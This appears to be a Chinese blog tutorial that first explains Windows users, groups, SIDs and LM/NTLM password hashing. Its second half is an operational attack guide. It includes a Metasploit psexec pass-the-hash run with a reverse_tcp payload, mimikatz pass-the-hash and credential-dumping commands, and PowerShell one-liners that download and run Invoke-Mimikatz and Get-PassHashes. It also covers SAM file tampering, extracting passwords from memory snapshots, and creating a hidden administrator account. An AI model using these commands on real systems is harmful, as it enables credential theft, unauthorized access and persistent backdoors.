Windows中的用户和组以及用户密码处理
目錄
用戶帳戶
Windows 默認賬戶
Windows?內置用戶賬戶
查看、創建和刪除賬戶
組賬戶
內置組賬戶
組的查看、創建和刪除
Windows中對用戶密碼的處理
LM-hash
NTLM-hash
哈希傳遞攻擊(Pass-the-Hash,PtH)
MSF進行哈希傳遞攻擊PtH
mimikatz進行哈希傳遞攻擊PtH(工作組)
mimikatz進行哈希傳遞攻擊PtH(域)
基于SAM文件的密碼破解
使用?mimikatz 破解windows登錄密碼
使用PowerShell命令讀取密碼
從內存中讀取密碼
用戶帳戶
用戶帳戶是對計算機用戶身份的標識,本地用戶帳戶、密碼存在本地計算機上,只對本機有效,存儲在本地安全帳戶數據庫 SAM 中,文件路徑:C:\Windows\System32\config\SAM ,對應的進程:lsass.exe??。通過本地用戶和組,可以為用戶和組分配權利和權限,從而限制用戶和組執行某些操作的能力。
- 不同的用戶身份擁有不同的權限
- 每個用戶包含一個名稱和一個密碼
- 用戶帳戶擁有唯一的安全標識符(Security Identifier,SID)
當我們去進程管理里面殺死?lsass.exe?進程時,windows會提示遇到錯誤,然后關機。
查看用戶的SID
- whoami? /user? ? ?查看系統當前用戶的SID
- wmic? useraccount? get? name,sid? ? ? 查看所有用戶的SID
Windows 默認賬戶
用于特殊用途,一般不需更修改其權限
- 與使用者關聯的用戶帳戶 Administrator(管理員用戶)
- 默認的管理員用戶 Guest(來賓用戶) 默認是禁用的
Windows?內置用戶賬戶
與windows組件關聯的用戶賬戶
- System (本地系統):為windows的核心組件訪問文件等資源提供權限
- Local Service (本地服務):預設的擁有最小權限的本地賬戶
- Network Service (網絡服務):具有運行網絡服務權限的計算機賬戶
查看、創建和刪除賬戶
使用命令查看、創建和刪除賬戶
- net? user ? ?查看系統賬戶
- net? user? ?xie? ? ? 123? ?/add? ? ? ? 創建新用戶xie,密碼設置為 123
- net? user? ?hack$? 123? /add? ? ? ? 創建隱藏用戶hack,密碼為123
- net? user? xie? ? ? ? 查看賬戶xie的屬性
- net? user? xie? x456.? ? 將用戶寫的密碼修改為x456.
- net? user? xie? /del? ? 刪除用戶xie
- net? localgroup? ?administrators? xie? ? /add? ? ? 將普通用戶xie提權到管理員
- net? localgroup? ?administrators? hack$? /add? ?將隱藏用戶hack提權到管理員
組賬戶
- 組是一些用戶的集合
- 組內的用戶自動具備為組所設置的權限
內置組賬戶
需要人為添加成員的內置組
- Administrators
- Guests
- Power Users
- Users(標準用戶)
- Remote Desktop Users
administators?組內的用戶,都具備系統管理員的權限,它們擁有對這臺計算機最大的控制權限,可以執行整臺計算機的管理任務。內置的系統管理員賬號 Administrator 就是本地組的成員,而且無法將它從該組刪除。如果這臺計算機已加入域,則域的Domain Admins 會自動地加入到該計算機的Administrators組內。也就是說,域上的系統管理員在這臺計算機上也具備著系統管理員的權限
Guests?組是提供給沒有用戶帳戶但是需要訪問本地計算機內資源的用戶使用,該組的成員無法永久地改變其桌面的工作環境。該組最常見的默認成員為用戶帳號Guest。
Power Users?組內的用戶具備比Users組更多的權利,但是比Administrators組擁有的權利更少一些,例如,可以:創建、刪除、更改本地用戶帳戶;創建、刪除、管理本地計算機內的共享文件夾與共享打印機;自定義系統設置,例如更改計算機時間、關閉計算機等。但是不可以更改Administrators,無法奪取文件的所有權、無法備份與還原文件、無法安裝刪除與刪除設備驅動程序、無法管理安全與審核日志。
Users?組內的成員只擁有一些基本的權利,例如運行應用程序,但是他們不能修改操作系統的設置、不能更改其它用戶的數據、不能關閉服務器級的計算機。所有添加的本地用戶帳戶者自動屬于Users組。如果這臺計算機已經加入域,則域的Domain Users會自動地被加入到該計算機的Users組中。
Remote Desktop Users 組內的成員擁有遠程桌面登錄的權限。默認Administrators組內的成員都擁有遠程桌面的權限。
動態包含成員的內置組
其成員由Windows程序“自動添加” ,Windows會根據用戶的狀態來決定用戶所屬的組 ,組內的成員也隨之動態變化,無法修改
- Interactive: 動態包含在本地登錄的用戶
- Authenticated Users:任何一個利用有效的用戶帳戶連接的用戶都屬于這個組。建議在設置權限時,盡量針對Authenticated Users組進行設置,而不要針對Everone進行設置。
- Everyone :任何一個用戶都屬于這個組。注意,如果Guest帳號被啟用時,則給Everone這個組指派權限時必須小心,因為當一個沒有帳戶的用戶連接計算機時,他被允許自動利用Guest帳戶連接,但是因為Guest也是屬于Everone組,所以他將具備Everyone所擁有的權限。
組的查看、創建和刪除
使用命令查看、創建和刪除組
- net? localgroup? ? 查看系統的組
- net? localgroup? ?marketGroup? ?/add? ? ? ? ?新建一個marketGroup的組
- net? localgroup? ?marketGroup? ?xie? /add? ?將用戶xie加入marketGroup組中
- net? localgroup? ?markGroup? ? ?查看markGroup組內的成員
- net? localgroup? ?marketGroup? ?xie? /del? ? 將用戶xi從marketGroup組中移除
- net? localgroup? ?marketGroup? ?/del? ? ? ? ? ?刪除marketGroup組
- net? localgroup? "remote desktop users" hack /add? ? ?將用戶hack加入遠程桌面組
- net? localgroup? "remote desktop users" hack /del? ? ? 將用戶hack從遠程桌面組刪除
Windows中對用戶密碼的處理
Windows系統使用兩種方法對用戶的密碼進行哈希處理,它們分別是 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所謂哈希(hash),就是使用一種加密函數對其進行加密。這個加密函數對一個任意長度的字符串數據進行一次數學加密函數運算,然后返回一個固定長度的字符串。現在已經有了更新的 NTLMv2 以及 Kerberos 驗證體系。Windows加密過的密碼口令,我們稱之為hash,Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是 LM-hash,第二部分是 NTLM-hash。在windows200以后的系統中,第一部分的 LM-hash 都是空值,因為LM-hash可以很容易的破解,所以windows2000之后這個值默認為空,所以第二部分的NTLM-hash才真正是用戶密碼的哈希值。
通常可從Windows系統中的SAM文件 和 域控的 NTDS.dit 文件中獲得所有用戶的hash,通過Mimikatz讀取lsass.exe進程能獲得已登錄用戶的NTLM hash
這個網站提供對密碼轉換成 LM-Hash 和 NTLM-Hash 的操作:https://asecuritysite.com/encryption/lmhash
LM-hash
LAN Manager(LM)哈希是Windows系統所用的第一種密碼哈希算法。它只有唯一一個版本且一直用到了NT LAN Manager(NTLM)哈希的出現,NTLM哈希用于Windows 2000及其之后系統中。新版操作系統因兼容緣故仍然支持LM哈希算法。但是在 Windows Vista 和 Windows 7 開始,LM-hash是默認關閉的。
LM加密過程
注:自Windows2000以后的 windows 系統都是用 NTLM-hash 處理用戶的密碼
NTLM-hash
New Technology?LAN Manager(NTLM)哈希算法是微軟認可的另一種算法。Windows2000以后的 windows 系統都是用 NTLM-hash 處理用戶的密碼
NTLM加密過程
在線NTLM加密的網站:NTLM密碼加密計算器
如圖,第三部分是LM-Hash,第四部分是NTLM-Hash。目前的LM-hash是空值,所以第四部分的NTLM-hash才是用戶密碼的哈希值。?
哈希傳遞攻擊(Pass-the-Hash,PtH)
MSF進行哈希傳遞攻擊PtH
有些時候,當我們獲取到了某臺主機的Administrator用戶的LM-Hash和 NTLM-Hash ,并且該主機的445端口打開著。我們則可以利用?exploit/windows/smb/psexec 漏洞用MSF進行遠程登錄(哈希傳遞攻擊)。(只能是administrator用戶的LM-hash和NTLM-hash),這個利用跟工作組環境或者域環境無關。
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set lhost 192.168.10.27 msf exploit(psexec) > set rhost 192.168.10.14 msf exploit(psexec) > set smbuser Administrator msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #這里LM和NTLM我們已經獲取到了 msf exploit(psexec) > exploitmimikatz進行哈希傳遞攻擊PtH(工作組)
當我們獲得了一臺主機的NTLM哈希值,我們可以使用mimikatz對其進行哈希傳遞攻擊。執行完命令后,會彈出cmd窗口。
#使用administrator用戶的NTLM哈希值進行攻擊 sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9#使用xie用戶的NTLM哈希值進行攻擊 sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9在彈出的cmd窗口,我們直接可以連接該主機,并且查看該主機下的文件夾。
或者可以直接將該主機的C盤映射到本地的K盤。
非 administrator 用戶權限不夠!
注:只能在 mimikatz 彈出的cmd窗口才可以執行這些操作!
mimikatz進行哈希傳遞攻擊PtH(域)
在域環境中,當我們獲得了域內用戶的NTLM哈希值,我們可以使用域內的一臺主機用mimikatz對域控進行哈希傳遞攻擊。執行完命令后,會彈出cmd窗口。前提是我們必須擁有域內任意一臺主機的本地?administrator?權限和獲得了域用戶的NTLM哈希值
- 域:xie.com
- 域控:WIN2008.xie.com
基于SAM文件的密碼破解
SAM文件即賬號密碼數據庫文件。 當我們登錄系統的時候,系統會自動地和?C:\Windows\System32\config\SAM?中的SAM文件自動校對,如發現此次密碼與SAM文件中的加密數據符合時,你就會順利登錄;如果錯誤則無法登錄。在系統運行期間,SAM文件一直是被占用的,是無法打開和編輯復制的,我們可以進入PE系統進行復制然后在利用軟件進行密碼的修改
- U盤啟動,運行DiskGenius分區工具
- 找到 SAM 文件,復制到U盤
- 在另一臺電腦上下載軟件 NTPWedit 并運行,打開 SAM 文件,解鎖并修改密碼
- 把 SAM 文件復制到原來的電腦上,覆蓋原文件
注意:這樣只能修改密碼,并不能知道密碼的明文
使用?mimikatz 破解windows登錄密碼
? mimikatz 是一款功能強大的輕量級調試神器,通過它你可以提升進程權限注入進程讀取進程內存,當然他最大的亮點就是他可以直接從 lsass.exe?進程中獲取當前登錄系統用戶名的密碼, lsass是微軟Windows系統的安全機制它主要用于本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在 lsass內存中,經過其 wdigest 和 tspkg 兩個模塊調用后,對其使用可逆的算法進行加密并存儲在內存之中, 而 mimikatz 正是通過對lsass逆算獲取到明文密碼!也就是說只要你不重啟電腦,就可以通過他獲取到登陸密碼,只限當前登陸系統!
注:但是在安裝了KB2871997補丁或者系統版本大于windows server 2012時,系統的內存中就不再保存明文的密碼,這樣利用mimikatz就不能從內存中讀出明文密碼了。
- 下載mimikatz程序,找到自己系統對應的位數,右鍵以管理員身份運行
- 提升至debug權限在提示符下,輸入:privilege::debug
- 抓取密碼: sekurlsa::logonpasswords
使用mimikatz讀取域控上所有域用戶的Hash值
注:得在域控上以域管理員身份執行mimikatz
- 提升至debug權限在提示符下,輸入:privilege::debug
- 抓取密碼: lsadump::lsa /patch
使用PowerShell命令讀取密碼
讀取密碼明文
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts讀取密碼hash值
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes從內存中讀取密碼
我們都知道虛擬機有拍攝快照的功能。拍攝快照的瞬間虛擬機就會把你當前的內存保存為一個文件,文件以 .vmem 結尾,該文件的大小就是你虛擬機的內存大小。我們現在要從快照內存中讀取出密碼。
首先,利用 Bin2Dmp將該內存文件轉成dmp文件,
Bin2Dmp.exe "Windows 7 x64-381e3888.vmem" windows7.dmp然后我們在?windbg?中載入該文件?
依次在?kd>? 中輸入下面的命令?
.symfix ? #設置符號路徑 .reload ? #重新載入 .load D:\Cracer滲透工具包v3.0\Cracer滲透工具包v3.0\Cracer滲透工具\windows安全\mimikatz\x64\mimilib.dll #這個路徑是你mimikatz的路徑 !process 0 0 lsass.exe #查找lsass進程,并將該進程轉到本機環境中 .process /r /p fffffa801ae19060 #這里的fffffa801ae19060 是上一步查找lsass進程的地址,注意替換 !mimikatz #載入mimikatz,讀取密碼可以看到,已經讀取出密碼來了?
鏈接: https://pan.baidu.com/s/1aofXft4YCSGEDEHQcgnCzw? ? ? ?提取碼: p7vx
相關文章:Windows中的認證體系
總結
以上是生活随笔為你收集整理的Windows中的用户和组以及用户密码处理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 深度学习之卷积神经网络(Convolut
- 下一篇: 基于web的新闻发布系统_终极Linux